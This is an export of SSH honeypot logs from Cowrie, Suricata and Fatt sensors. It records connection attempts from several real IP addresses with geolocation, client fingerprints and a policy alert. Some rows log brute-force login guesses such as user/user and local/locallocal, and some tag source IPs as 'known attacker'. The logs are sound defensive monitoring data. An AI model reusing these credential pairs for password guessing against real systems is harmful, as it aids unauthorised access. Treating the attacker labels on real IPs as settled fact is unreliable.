36502	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 15:15:30.533813+03	2021-09-20 15:30:02.345868+03	{"_id": "awYhA3wBvYTbRNuE-mM6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "3des-ctr"], "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "63bec3855e65ea71385ce2634bf2f234", "macCS": ["hmac-sha2-256", "hmac-sha1"], "compCS": ["none", "zlib"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-1.3.132.0.10", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "diffie-hellman-group16-sha512", "diffie-hellman-group15-sha512", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "ext-info-c"], "keyAlgs": ["rsa-sha2-512", "rsa-sha2-256", "ssh-ed25519", "ecdsa-sha2-1.3.132.0.10", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 63bec3855e65ea71385ce2634bf2f234", "session": "9295fd6eb19e", "@version": "1", "timestamp": "2021-09-20T12:15:30.533813Z", "@timestamp": "2021-09-20T12:15:30.533Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}}	1	\N	cowrie.client.kex	\N	\N	US
36503	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 15:15:30.345881+03	2021-09-20 15:30:02.347868+03	{"_id": "agYhA3wBvYTbRNuE-mM6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 8.30.234.130:61105 (192.168.176.2:22) [session: 9295fd6eb19e]", "session": "9295fd6eb19e", "@version": "1", "protocol": "ssh", "src_port": 61105, "dest_port": 22, "timestamp": "2021-09-20T12:15:30.345881Z", "@timestamp": "2021-09-20T12:15:30.345Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	US
36504	8.30.234.130	109.199.241.180	Suricata	2021-09-20 15:15:30.532973+03	2021-09-20 15:30:02.349867+03	{"_id": "bQYhA3wBvYTbRNuE-2NE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.38.38.3634434109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "flow_id": 1756647989080819, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61105, "dest_port": 22, "timestamp": "2021-09-20T12:15:30.532973Z", "@timestamp": "2021-09-20T12:15:30.532Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	US
36505	8.30.234.130	109.199.241.180	Fatt	2021-09-20 15:15:30.532973+03	2021-09-20 15:30:02.351866+03	{"_id": "cAYhA3wBvYTbRNuE_GNG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "src_ip": "8.30.234.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "rsa-sha2-512,rsa-sha2-256,ssh-ed25519,ecdsa-sha2-1.3.132.0.10,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ssh-rsa,ssh-dss", "hassh": "63bec3855e65ea71385ce2634bf2f234", "ccacts": "none,zlib", "ccastc": "none,zlib", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr", "client": "SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.38.38.3634434109.199.241.180", "cmacts": "hmac-sha2-256,hmac-sha1", "cmastc": "hmac-sha2-256,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-1.3.132.0.10,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,diffie-hellman-group16-sha512,diffie-hellman-group15-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-ctr;hmac-sha2-256,hmac-sha1;none,zlib"}, "protocol": "ssh", "src_port": 61105, "dest_port": 22, "timestamp": "2021-09-20T12:15:30.532973", "@timestamp": "2021-09-20T12:15:30.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	US
36506	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 15:15:30.91768+03	2021-09-20 15:30:02.352867+03	{"_id": "cQYhA3wBvYTbRNuE_mMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "9295fd6eb19e", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T12:15:30.917680Z", "@timestamp": "2021-09-20T12:15:30.917Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	US
36507	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:15:31.028248+03	2021-09-20 15:30:02.353867+03	{"_id": "cgYhA3wBvYTbRNuE_mMj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e87898b24143", "@version": "1", "duration": 2.7811570167541504, "timestamp": "2021-09-20T12:15:31.028248Z", "@timestamp": "2021-09-20T12:15:31.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36508	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:15:28.247468+03	2021-09-20 15:30:02.355869+03	{"_id": "XgYhA3wBvYTbRNuE8mNp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.5'", "session": "e87898b24143", "version": "b'SSH-2.0-libssh_0.9.5'", "@version": "1", "timestamp": "2021-09-20T12:15:28.247468Z", "@timestamp": "2021-09-20T12:15:28.247Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
36509	113.87.161.152	109.199.241.180	Fatt	2021-09-20 15:15:28.527433+03	2021-09-20 15:30:02.356866+03	{"_id": "YwYhA3wBvYTbRNuE9GN3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "113.87.161.152", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.5", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 2327, "dest_port": 22, "timestamp": "2021-09-20T12:15:28.527433", "@timestamp": "2021-09-20T12:15:28.527Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36510	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:15:29.745736+03	2021-09-20 15:30:02.358867+03	{"_id": "ZAYhA3wBvYTbRNuE9mNT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [news/all2] failed", "session": "e87898b24143", "@version": "1", "password": "all2", "username": "news", "timestamp": "2021-09-20T12:15:29.745736Z", "@timestamp": "2021-09-20T12:15:29.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36511	8.30.234.130	109.199.241.180	Suricata	2021-09-20 15:15:30.533061+03	2021-09-20 15:30:02.359867+03	{"_id": "bgYhA3wBvYTbRNuE-2NE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "8.35 FlowSsh: FlowSshNet_SftpStress127.38.38.3634434109.199.241.180"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:15:30.160499+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 789, "bytes_toserver": 1237}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "8.30.234.130", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1756647989080819, "payload": "AAAAVC4eAAAAIP29JocCgNyoNQ1dwrV8GAVCyl2P7o0swcLCZ2Sd06gXfr36rvKl23qq1pyeJkMVCx+FeEMDHEqj/85VMlMvIbq6yA5/jzGAcNmLbcmdeQ==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 61105, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:15:30.533061Z", "@timestamp": "2021-09-20T12:15:30.533Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..... ..&.....5\\r]..|..B.]...,...gd....~......z....&C....xC..J...U2S/!......1.p..m..y"}}	1	\N	\N	alert	\N	US
36512	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:15:30.34996+03	2021-09-20 15:30:02.360866+03	{"_id": "bwYhA3wBvYTbRNuE_GNG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "8.30.234.130", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 61105, "timestamp": "2021-09-20T12:15:30.349960", "@timestamp": "2021-09-20T12:15:30.349Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36513	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:15:14.141239+03	2021-09-20 15:30:02.362866+03	{"_id": "PQYhA3wBvYTbRNuEu2Oz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "abbe78cfcd7d", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:15:14.141239Z", "@timestamp": "2021-09-20T12:15:14.141Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	UA
36514	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:15:14.17881+03	2021-09-20 15:30:02.363868+03	{"_id": "PgYhA3wBvYTbRNuEu2Oz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "abbe78cfcd7d", "@version": "1", "timestamp": "2021-09-20T12:15:14.178810Z", "@timestamp": "2021-09-20T12:15:14.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	UA
36515	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 15:15:14.418446+03	2021-09-20 15:30:02.365867+03	{"_id": "PwYhA3wBvYTbRNuEu2Oz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.login.failed", "message": "login attempt [local/locallocal] failed", "session": "abbe78cfcd7d", "@version": "1", "password": "locallocal", "username": "local", "timestamp": "2021-09-20T12:15:14.418446Z", "@timestamp": "2021-09-20T12:15:14.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	UA
36516	91.200.124.7	109.199.241.180	Suricata	2021-09-20 15:15:14.178245+03	2021-09-20 15:30:02.366867+03	{"_id": "QwYhA3wBvYTbRNuEvGPA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "flow_id": 705834846946747, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33622, "dest_port": 22, "timestamp": "2021-09-20T12:15:14.178245Z", "@timestamp": "2021-09-20T12:15:14.178Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	UA
36517	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:15:16.271635+03	2021-09-20 15:30:02.369866+03	{"_id": "TAYhA3wBvYTbRNuEw2OF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 203.176.71.44:34165 (192.168.176.2:22) [session: 56516c42c449]", "session": "56516c42c449", "@version": "1", "protocol": "ssh", "src_port": 34165, "dest_port": 22, "timestamp": "2021-09-20T12:15:16.271635Z", "@timestamp": "2021-09-20T12:15:16.271Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
36518	203.176.71.44	109.199.241.180	Cowrie	2021-09-20 15:15:16.2744+03	2021-09-20 15:30:02.370866+03	{"_id": "TQYhA3wBvYTbRNuEw2OF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "203.176.71.44", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "203.176.71.44", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "56516c42c449", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:15:16.274400Z", "@timestamp": "2021-09-20T12:15:16.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	CN
